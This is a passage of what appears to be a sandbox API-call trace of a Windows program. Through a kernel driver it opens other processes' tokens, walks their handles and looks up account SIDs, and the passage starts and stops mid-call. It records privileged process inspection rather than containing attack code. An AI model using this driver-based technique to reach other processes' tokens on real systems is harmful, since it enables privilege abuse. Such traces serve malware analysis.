lpBytesReturned=0x12d450*=0x6a, lpOverlapped=0x0) returned 1 [0105.709] PsLookupProcessByProcessId (in: ProcessId=0x930, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.709] PsAcquireProcessExitSynchronization () returned 0x0 [0105.709] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff8b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001ff8b30, ApcState=0xfffff88004f095d0) [0105.709] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001fc7a20, HandleInformation=0x0) returned 0x0 [0105.709] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.709] PsReleaseProcessExitSynchronization () returned 0x2 [0105.709] ObfDereferenceObject (Object=0xfffffa8001ff8b30) returned 0x10 [0105.709] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800264d044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800264d044, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.709] ObfDereferenceObject (Object=0xfffffa8001fc7a20) returned 0x1 [0105.709] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.709] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.709] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.709] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0105.709] PsLookupProcessByProcessId (in: ProcessId=0x930, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.709] PsAcquireProcessExitSynchronization () returned 0x0 [0105.709] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff8b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001ff8b30, ApcState=0xfffff88004f095d0) [0105.709] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0105.709] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.709] PsReleaseProcessExitSynchronization () returned 0x2 [0105.709] ObfDereferenceObject (Object=0xfffffa8001ff8b30) returned 0x10 [0105.709] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80025fc044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fc044, ReturnLength=0xfffff88004f09550) returned 0x0 [0105.709] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4d [0105.709] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.709] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.710] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x940) returned 0xc0 [0105.710] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0105.710] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa8002002b30, HandleInformation=0x0) returned 0x0 [0105.710] ObOpenObjectByPointer (in: Object=0xfffffa8002002b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff800009f0) returned 0x0 [0105.710] ObfDereferenceObject (Object=0xfffffa8002002b30) returned 0x12 [0105.710] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009f0, DesiredAccess=0x8, TokenHandle=0xfffffa8003473380 | out: TokenHandle=0xfffffa8003473380*=0xc8) returned 0x0 [0105.710] ZwClose (Handle=0xffffffff800009f0) returned 0x0 [0105.710] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.710] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0105.710] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0105.711] CloseHandle (hObject=0xc8) returned 1 [0105.711] CloseHandle (hObject=0xc0) returned 1 [0105.711] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.711] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0105.711] PsLookupProcessByProcessId (in: ProcessId=0x940, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.711] PsAcquireProcessExitSynchronization () returned 0x0 [0105.711] KeStackAttachProcess (in: PROCESS=0xfffffa8002002b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002002b30, ApcState=0xfffff88004f095d0) [0105.711] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001ffd180, HandleInformation=0x0) returned 0x0 [0105.712] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.712] PsReleaseProcessExitSynchronization () returned 0x2 [0105.712] ObfDereferenceObject (Object=0xfffffa8002002b30) returned 0x10 [0105.712] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fb7044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001fb7044, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.712] ObfDereferenceObject (Object=0xfffffa8001ffd180) returned 0x1 [0105.712] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.712] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.712] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.712] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x7c, lpOverlapped=0x0) returned 1 [0105.712] PsLookupProcessByProcessId (in: ProcessId=0x940, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.712] PsAcquireProcessExitSynchronization () returned 0x0 [0105.712] KeStackAttachProcess (in: PROCESS=0xfffffa8002002b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002002b30, ApcState=0xfffff88004f095d0) [0105.712] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001fff410, HandleInformation=0x0) returned 0x0 [0105.712] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.712] PsReleaseProcessExitSynchronization () returned 0x2 [0105.712] ObfDereferenceObject (Object=0xfffffa8002002b30) returned 0x10 [0105.712] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fe47c4, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001fe47c4, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.712] ObfDereferenceObject (Object=0xfffffa8001fff410) returned 0x1 [0105.712] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.712] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.712] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.712] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0105.712] PsLookupProcessByProcessId (in: ProcessId=0x940, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.712] PsAcquireProcessExitSynchronization () returned 0x0 [0105.712] KeStackAttachProcess (in: PROCESS=0xfffffa8002002b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002002b30, ApcState=0xfffff88004f095d0) [0105.712] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0105.712] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.712] PsReleaseProcessExitSynchronization () returned 0x2 [0105.712] ObfDereferenceObject (Object=0xfffffa8002002b30) returned 0x10 [0105.712] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8002009404, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002009404, ReturnLength=0xfffff88004f09550) returned 0x0 [0105.712] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4d [0105.713] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.713] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.713] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x950) returned 0xc0 [0105.713] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0105.713] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa80020287d0, HandleInformation=0x0) returned 0x0 [0105.713] ObOpenObjectByPointer (in: Object=0xfffffa80020287d0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff800009f0) returned 0x0 [0105.713] ObfDereferenceObject (Object=0xfffffa80020287d0) returned 0x12 [0105.713] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009f0, DesiredAccess=0x8, TokenHandle=0xfffffa8003473380 | out: TokenHandle=0xfffffa8003473380*=0xc8) returned 0x0 [0105.713] ZwClose (Handle=0xffffffff800009f0) returned 0x0 [0105.713] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.713] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0105.713] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0105.714] CloseHandle (hObject=0xc8) returned 1 [0105.714] CloseHandle (hObject=0xc0) returned 1 [0105.714] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.714] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0105.714] PsLookupProcessByProcessId (in: ProcessId=0x950, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.714] PsAcquireProcessExitSynchronization () returned 0x0 [0105.715] KeStackAttachProcess (in: PROCESS=0xfffffa80020287d0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80020287d0, ApcState=0xfffff88004f095d0) [0105.715] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002028070, HandleInformation=0x0) returned 0x0 [0105.715] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.715] PsReleaseProcessExitSynchronization () returned 0x2 [0105.715] ObfDereferenceObject (Object=0xfffffa80020287d0) returned 0x10 [0105.715] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800341d044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800341d044, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.715] ObfDereferenceObject (Object=0xfffffa8002028070) returned 0x1 [0105.715] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.715] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.715] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.715] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0105.715] PsLookupProcessByProcessId (in: ProcessId=0x950, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.715] PsAcquireProcessExitSynchronization () returned 0x0 [0105.715] KeStackAttachProcess (in: PROCESS=0xfffffa80020287d0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80020287d0, ApcState=0xfffff88004f095d0) [0105.715] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800202e3a0, HandleInformation=0x0) returned 0x0 [0105.715] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.715] PsReleaseProcessExitSynchronization () returned 0x2 [0105.715] ObfDereferenceObject (Object=0xfffffa80020287d0) returned 0x10 [0105.715] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003311684, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8003311684, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.715] ObfDereferenceObject (Object=0xfffffa800202e3a0) returned 0x1 [0105.715] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.715] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.715] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.715] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0105.715] PsLookupProcessByProcessId (in: ProcessId=0x950, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.715] PsAcquireProcessExitSynchronization () returned 0x0 [0105.715] KeStackAttachProcess (in: PROCESS=0xfffffa80020287d0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80020287d0, ApcState=0xfffff88004f095d0) [0105.715] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0105.715] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.715] PsReleaseProcessExitSynchronization () returned 0x2 [0105.716] ObfDereferenceObject (Object=0xfffffa80020287d0) returned 0x10 [0105.716] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800264d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800264d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0105.716] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4d [0105.716] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.716] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.716] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x960) returned 0xc0 [0105.716] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0105.716] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa8002042b30, HandleInformation=0x0) returned 0x0 [0105.716] ObOpenObjectByPointer (in: Object=0xfffffa8002042b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff800009f0) returned 0x0 [0105.716] ObfDereferenceObject (Object=0xfffffa8002042b30) returned 0x12 [0105.716] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009f0, DesiredAccess=0x8, TokenHandle=0xfffffa8003473380 | out: TokenHandle=0xfffffa8003473380*=0xc8) returned 0x0 [0105.716] ZwClose (Handle=0xffffffff800009f0) returned 0x0 [0105.716] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.716] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0105.716] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0105.717] CloseHandle (hObject=0xc8) returned 1 [0105.717] CloseHandle (hObject=0xc0) returned 1 [0105.717] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.717] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0105.718] PsLookupProcessByProcessId (in: ProcessId=0x960, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.718] PsAcquireProcessExitSynchronization () returned 0x0 [0105.718] KeStackAttachProcess (in: PROCESS=0xfffffa8002042b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002042b30, ApcState=0xfffff88004f095d0) [0105.718] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800203d8f0, HandleInformation=0x0) returned 0x0 [0105.718] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.718] PsReleaseProcessExitSynchronization () returned 0x2 [0105.718] ObfDereferenceObject (Object=0xfffffa8002042b30) returned 0x10 [0105.718] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025fc044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025fc044, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.718] ObfDereferenceObject (Object=0xfffffa800203d8f0) returned 0x1 [0105.718] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.718] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.718] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.718] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0105.718] PsLookupProcessByProcessId (in: ProcessId=0x960, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.718] PsAcquireProcessExitSynchronization () returned 0x0 [0105.718] KeStackAttachProcess (in: PROCESS=0xfffffa8002042b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002042b30, ApcState=0xfffff88004f095d0) [0105.718] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002043a20, HandleInformation=0x0) returned 0x0 [0105.718] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.718] PsReleaseProcessExitSynchronization () returned 0x2 [0105.718] ObfDereferenceObject (Object=0xfffffa8002042b30) returned 0x10 [0105.718] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025fd044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025fd044, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.718] ObfDereferenceObject (Object=0xfffffa8002043a20) returned 0x1 [0105.718] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.718] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.718] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.718] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0105.718] PsLookupProcessByProcessId (in: ProcessId=0x960, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.718] PsAcquireProcessExitSynchronization () returned 0x0 [0105.718] KeStackAttachProcess (in: PROCESS=0xfffffa8002042b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002042b30, ApcState=0xfffff88004f095d0) [0105.718] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0105.719] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.719] PsReleaseProcessExitSynchronization () returned 0x2 [0105.719] ObfDereferenceObject (Object=0xfffffa8002042b30) returned 0x10 [0105.719] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80025075c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025075c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0105.719] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4d [0105.719] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.719] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.719] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x970) returned 0xc0 [0105.719] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0105.719] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa800205a7d0, HandleInformation=0x0) returned 0x0 [0105.719] ObOpenObjectByPointer (in: Object=0xfffffa800205a7d0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff800009f0) returned 0x0 [0105.719] ObfDereferenceObject (Object=0xfffffa800205a7d0) returned 0x12 [0105.719] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009f0, DesiredAccess=0x8, TokenHandle=0xfffffa8003473380 | out: 